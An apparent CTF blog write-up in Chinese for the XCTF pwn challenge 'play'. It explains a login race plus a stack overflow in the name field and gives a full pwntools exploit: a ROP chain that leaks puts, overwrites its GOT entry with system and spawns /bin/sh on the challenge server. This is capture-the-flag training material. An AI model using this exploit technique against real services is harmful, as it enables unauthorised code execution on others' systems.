[XCTF-pwn] 37_xctf-4th-CyberEarth_play

原创

石氏是时试 于 2022-03-10 21:00:00 发布 64 收藏
分类专栏： CTF pwn 文章标签： pwn

又买一个，实在是代码太我看不明白了。

解题思路：

用同一个用户登录两次，选择不同的攻击方式，直到成功。

成功后，输入名字的地方有溢出，在这里写入rop:泄露，修改got.puts为system，再调用puts(/bin/sh)

验证后的exp：

```
from pwn import *

'''
patchelf --set-interpreter /home/shi/buuctf/buuoj_2.23_i386/ld-2.23-i386-0ubuntu11.so pwn
patchelf --add-needed /home/shi/buuctf/buuoj_2.23_i386/libc-2.23-i386-0ubuntu11.so pwn
'''
local = 0
if local == 1:
    p1 = process('./pwn')
    p2 = process('./pwn')
else:
    p1 = remote('111.200.241.244', 54004)
    p2 = remote('111.200.241.244', 54004)
libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_i386/libc-2.23-i386-0ubuntu11.so')
one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
offset_main_ret = 0x18637
elf = ELF('./pwn')
context(arch='i386', log_level='debug')

def change_skill(p, way):
    p.sendlineafter(b"choice>> ", b'3')
    p.sendlineafter(b"choice>> ", str(way).encode())

def attack(p):
    p.sendlineafter(b"choice>> ", b'1')

def hide(p, yesorno):
    p.sendlineafter(b"use hiden_methods?(1:yes/0:no):", str(yesorno).encode())

def god_attack():
    change_skill(p1, 3)
    attack(p1)
    change_skill(p2, 1)
```

```
    hide(p1, 1)


p1.sendlineafter(b"login:", b'AAA')
p2.sendlineafter(b"login:", b'AAA')

while True:
    god_attack()
    data = p1.recvline()
    if b'you win' in data:
        data = p1.recvline()
        if b"we will remember you forever!" in data:
            break

print('sss')

pop1_ret = 0x080485d5 # pop ebx ; ret
pop2_ret = 0x0804934a # pop edi ; pop ebp ; ret

payload = b'A'*(0x48+4) + flat(elf.plt['puts'], pop1_ret, elf.got['puts'],   #puts(got.puts)
                               elf.plt['gets'], pop1_ret, elf.got['puts'],   #gets(got.puts)
                               elf.plt['puts'], pop1_ret, elf.got['puts']+4) #puts:system(/bin/sh)

p1.sendlineafter(b"what's your name:", payload)
p1.recvline()
libc_base = u32(p1.recv(4)) - libc_elf.sym['puts']
libc_elf.address = libc_base
print('libc:', hex(libc_base))

p1.sendline(p32(libc_elf.sym['system'])+ b'/bin/sh\x00')

p1.sendline(b'cat /home/ctf/flag')
p1.interactive()
```